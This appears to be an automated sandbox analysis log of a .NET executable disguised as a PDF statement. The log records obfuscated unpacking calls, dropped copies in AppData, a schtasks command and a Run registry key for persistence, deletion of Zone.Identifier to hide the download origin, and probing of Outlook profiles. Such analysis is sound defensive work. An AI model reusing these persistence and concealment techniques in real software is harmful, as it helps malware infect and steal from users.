Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: edputil.dll

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: SOA FOR APR 2024 PDF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SOA FOR APR 2024 PDF.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.raw.unpack, V4uC3Iifq56IKQcfry.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: SOA FOR APR 2024 PDF.exe, SpreadsheetName.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: eeBIYZL.exe.0.dr, SpreadsheetName.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, URqoV1LhkZEcr5B7SE.cs	.Net Code: hfPd2Vxtwp System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 0_2_04F4EAB8 pushfd ; iretd	0_2_04F4EB31
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F0F04E push eax; retf 054Ah	9_2_00F0F085
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F006E8 push eax; ret	9_2_00F00702
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F006A1 push eax; ret	9_2_00F006A2
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F006AF push eax; ret	9_2_00F006B2
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F00728 push eax; ret	9_2_00F00732
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F00718 push eax; ret	9_2_00F00722
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F00C95 push edi; retf	9_2_00F00C3A
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_00F00C3D push edi; ret	9_2_00F00CC2
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_067A1658 push cs; retf	9_2_067A165B
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_067A7350 push esp; iretd	9_2_067A7359
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 9_2_067A7F75 push esp; iretd	9_2_067A7F7D
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C6EFA3 push eax; retf 0586h	14_2_02C6F085
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C606EC push eax; ret	14_2_02C60702
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C60708 push eax; ret	14_2_02C60712
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C60718 push eax; ret	14_2_02C60722
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C60728 push eax; ret	14_2_02C60732
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_02C60C3D push edi; ret	14_2_02C60CC2
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06B66418 push esp; iretd	14_2_06B66421
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06B61658 push cs; retf	14_2_06B6165B
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 14_2_06B6BB21 push es; ret	14_2_06B6BB30
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E70728 push eax; ret	20_2_01E70732
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E70708 push eax; ret	20_2_01E70712
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E70718 push eax; ret	20_2_01E70722
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E706FD push eax; ret	20_2_01E70702
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E70698 push eax; ret	20_2_01E70712
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E70698 push eax; ret	20_2_01E70722
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E7AA28 pushfd ; iretd	20_2_01E7AA29
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_01E70C3D push edi; ret	20_2_01E70CC2
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_07036F82 push es; ret	20_2_07036F90
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 20_2_07031658 push cs; retf	20_2_0703165B

Source: SOA FOR APR 2024 PDF.exe	Static PE information: section name: .text entropy: 7.967897552415294
Source: eeBIYZL.exe.0.dr	Static PE information: section name: .text entropy: 7.967897552415294

Source: 0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.raw.unpack, V4uC3Iifq56IKQcfry.cs	High entropy of concatenated method names: 'JcqLcnHE8kRk7VHJhl', 'baAwnpSkPWAs4YMGxr', 'wTgrto4LNQ', 'imnL6GCB6AIFRqkhxN', 'RgtTUJcyZL', 'dHYrbjNADO', 'xiCr8b7Qs6', 'PT2rZj37UR', 'P1WruDgOtu', 'd71eKLY6YVFQv'
Source: 0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.raw.unpack, vpednoN8EZgsJ4TDwx.cs	High entropy of concatenated method names: 'SvRTLtpnA', 'uJwWpedno', 'REZpgsJ4T', 'uwxys3A5Q', 'Tl3iTkB7U', 'EqRFtDP16', 'TW5lfqidm', 'wSKAUGlNW', 'LkrevaXpK', 'cwu0Op5AT'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, hBijZRtWbDg84TdWNq.cs	High entropy of concatenated method names: 'ov4IVCptsm', 'zmvI9rpna9', 'OeZI1oGcSi', 'lLuIlx4Vpa', 'oUTIQcV7ZX', 'GxpIaFfR5l', 'Pv0I0PU0PT', 'SoKIRtIe18', 'DvnIose5b3', 'e1kIiUEQ6r'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, nSGl4eGucR0b01PKM2.cs	High entropy of concatenated method names: 'WXHBnuyybp', 'fywB3tMBSB', 'Yg3B2YHWLI', 'cvdBbFm4gc', 'etRBg8nwek', 'nP3BJYLK6X', 'KsHBEDX9Eb', 'YqdBV66Zfu', 'y3XB9Fp8Hf', 'on4BUkF53m'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, e5FEW7AFJ6dV89uR7F.cs	High entropy of concatenated method names: 'e7MP152K9m', 'oe3Plk447J', 'KBTPSA8Dqw', 'UX4PQekxg4', 'PXUPkoWxR3', 'p3hPangacC', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, CjieVEhOcdajCk6j0r.cs	High entropy of concatenated method names: 'RGn2YqtMH', 'kRcbhmNvp', 'XySJ34TGf', 'ub2EiLRjK', 'kww9Emxov', 'OOYUaLnG1', 'pJRrvfHGd5mhTF131v', 'l6cGSymQnbUAult0pc', 'aH5PTiJd9', 'XuIeGmLwV'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, vwucTM9lKq0PYnrVYH.cs	High entropy of concatenated method names: 'fD4qbBLYFE', 'rb2qJox4lN', 'rfhqVgh1FU', 'ywAq9FUwjP', 'HiXq5SZTGn', 'hLwqDeoLgB', 'F79qf6jH51', 'qhUqP84URw', 'jY3qpRIFUd', 'Gbuqer4Abv'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, wXATugk9wSyYEyEcyL.cs	High entropy of concatenated method names: 'ki95oNPO2y', 'C4B5wNaEfh', 'ant5kCRcOp', 'CrE5ygnGgF', 'z1v5lO9Frj', 'ISu5SSXAQO', 'lSp5QcvId3', 'd3J5a5wDPu', 'FIk54bFNev', 'W6Y50xABqS'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, oBEhsVWmimMw51DsPZ.cs	High entropy of concatenated method names: 'WdnPHh6HkO', 'h9rPxKMAtC', 'BfIPqHWSL9', 'GsdP6BlwOS', 'elJPNEgQOk', 'qpkPBJFOxr', 'A56PLbPfmK', 'nFBPO5ciS7', 'Ku4PK9ES2j', 'dMmPCZ03Ge'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, gVZTkpuMgvv3J2liIu2.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'R28ekRDJ8h', 'nRueyx0HrO', 'ri8eFnxmjV', 'NfnejD4kpQ', 'FWTecAHTNT', 'yjLes9Gbnb', 'mkYe8F9caS'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, XdQUJK0UCO08Hh8mUb.cs	High entropy of concatenated method names: 'PYEBHCkfUQ', 'pcqBqD7OlZ', 'fxjBNuPpwP', 'fi2NrPwhtB', 'iApNz7dT9f', 'CMgBvggC4o', 'isLBuV22Sq', 'LMxBh0fwP9', 'PveBMOPXyi', 'TVZBdjZB5J'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, URqoV1LhkZEcr5B7SE.cs	High entropy of concatenated method names: 'phPMTUihDx', 'XgCMH5hZde', 'Hd8MxTnosL', 'ARYMqvb1pU', 'LYYM62n0ND', 'BmMMNPAbpt', 'JaZMBE9cfw', 'eF2MLL0IYw', 'FuRMOUewZH', 'QBhMKN4vS8'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, AdTDBmj5wP70ngiXNI.cs	High entropy of concatenated method names: 'aSVfKkoiKR', 'EkXfCBYoSe', 'ToString', 'AkwfHZUh3M', 'bUvfxmkI0m', 'niIfqu4Fpi', 'AE1f6Vsogk', 'mgufNTAVh2', 'ngifBOvbPB', 'OFlfLJufDC'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, ThpHiExuyr2n0yOge1.cs	High entropy of concatenated method names: 'Dispose', 'objuA7LoIC', 'BxnhlGEw4g', 'GLQYYPLywa', 'yIBurEhsVm', 'OmMuzw51Ds', 'ProcessDialogKey', 'qZThv5FEW7', 'SJ6hudV89u', 'M7Fhhft7PC'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, OcGry4VRIcmlRjnwWl.cs	High entropy of concatenated method names: 'hE3xkfSqiV', 'K4NxyS1HGd', 'cSoxF8pCP2', 'nmPxjZroo7', 'vSsxcOKXaq', 'GV6xssSJTd', 'm3yx8XuEIT', 'OtyxW6sB2n', 'MMaxALMMr4', 'hJSxrReRLZ'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, juuVQB19vvI7AaggOJ.cs	High entropy of concatenated method names: 'WBVNTSxm3w', 'TYXNxlnSka', 'P1QN6AiHXn', 'nRBNBi4sQE', 'H3yNLfG2Kx', 'jLE6cN0t6E', 'QUd6sU03yf', 'AVh68GrVNR', 'Wm76WafQhX', 'DBF6A1m18I'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, pakpIkuu8VRoyYfqsJC.cs	High entropy of concatenated method names: 'ToString', 'RpoeMotCXm', 'tPded1cSFq', 'eKoeTw9l5u', 'Q4teHKZfkT', 'pZBexFjVWY', 'cWmeqFCAlJ', 'NO4e6tg1yf', 'p0PxvWvIHSCxXqGYRsg', 'K6V8ujvBa03FjtCLjNM'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, rlr5Oauv8vspKmK80PT.cs	High entropy of concatenated method names: 'R9epnLj0ui', 'gvRp3Tjxrr', 'zCUp2ZFBcy', 'K3ppbQJHZW', 'ONwpgPMK9g', 'jdXpJPYNye', 'ycGpE4bHfY', 'UoLpVbAJWt', 'ahFp96d3qP', 'lUrpUJcGgO'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, fTCZTvdpopkx5bgW8E.cs	High entropy of concatenated method names: 'HViuBcGry4', 'MIcuLmlRjn', 'dlKuKq0PYn', 'YVYuCHotXG', 'KuIu58IBuu', 'DQBuD9vvI7', 'BFQFZ75QDDoYGMMP4e', 'z4TWNSa5EUOckZyZa0', 'Jf8uu18f21', 'bPquMIkW1Y'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, qt7PC3rIs2mV3uwCpY.cs	High entropy of concatenated method names: 'kvwpuhPK1w', 'QfcpMK2EnD', 'vSCpdWI9SB', 'efupHtYVff', 'GLTpxQnJgM', 'srIp6gR7x0', 'SFEpNAaEyG', 'ystP8KdQor', 'SnTPWjBFJ9', 'YaiPABnT5n'
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, tBds93ssCpjlCvnUZq.cs	High entropy of concatenated method names: 'QHefWWXPuw', 'FxCfrOhduE', 'NbtPvedrYa', 'iaaPu9e3do', 'mM0fi5mwXZ', 'DUjfwyS2U9', 'kGPftMxx5x', 'Nu1fkTjVTB', 'aO9fywsnGo', 'l8QfFn2TgU'

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	File created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe			Jump to dropped file
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	File created: C:\Users\user\AppData\Roaming\eeBIYZL.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp"

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BjTxJte			Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BjTxJte			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	File opened: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	File opened: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe:Zone.Identifier read attributes \| delete

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
